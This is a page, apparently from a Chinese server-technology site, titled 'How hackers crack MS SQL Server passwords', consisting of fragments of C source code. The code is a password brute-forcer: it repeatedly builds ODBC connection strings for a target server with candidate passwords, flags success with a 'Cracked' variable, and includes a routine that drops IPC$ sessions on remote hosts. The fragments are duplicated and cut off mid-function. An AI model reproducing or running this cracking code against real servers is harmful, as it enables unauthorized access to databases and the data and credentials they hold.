服务器 频道

黑客是如何破解MS SQL SERCVER密码的

  //构造连接数据库字符
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  
  //创建数据库应用的环境句柄
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
  {
  printf("\nAllocate environment handle failed.\n");
  return 0;
  }
  //printf("henv..");
  //设置ODBC版本环境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf("\nSet the ODBC version environment attribute failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("ODBC ver..");
  //创建连接句柄
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf("\nAllocate connection handle failed.\n");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //printf("hdbc..");
  //连接数据源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
  szBuffer,sizeof(szBuffer),&swStrLen,
  SQL_DRIVER_COMPLETE_REQUIRED);
  //printf("conn..");
  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
  {
  //连接失败,函数终止
  //printf("\nCouldn''t connect to %s MSSQL server.\n",target);
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  return 0;
  }
  //连接远程MSSQL Server数据库成功
  Cracked=TRUE;
  strcpy(passwd,pwd);
  //puts(szBuffer);
  //显示连接远程数据库的字符串
  
  //断开连接
  SQLDisconnect(hdbc);
  //printf("disconn..");
  //释放连接句柄
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  //printf("free hdbc..");
  //释放环境句柄
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  //printf("free henv..\n");
  
  return 0;
  }
  //
  //函数:DelIPC
  //功能:断开IPC Session
  //说明:成功返回值0,否则返回1
  //
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="\\\\";
  
  strcat(lpName,RemoteName);
  strcat(lpName,"\\ipc$");
  
  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  //
  //函数SQLCheck
  //功能:尝试用不同密码连接SQL Server,探测出正确的密码
  //
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  //定义局部变量
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API运行返回值
  SCHAR ConnStr[200];//连接数据库字符串
  
  //取得传递过来准备探测的密码
  pwd=(char *)pPwd;
  
  //构造连接数据库字符
  strcpy(ConnStr,"DRIVER={SQL Server};SERVER=");
  strcat(ConnStr,target);
  strcat(ConnStr,";UID=");
  strcat(ConnStr,UserName);
  strcat(ConnStr,";PWD=");
  strcat(ConnStr,pwd);
  strcat(ConnStr,";DATABASE=master");
  //puts(ConnStr);
  
0
相关文章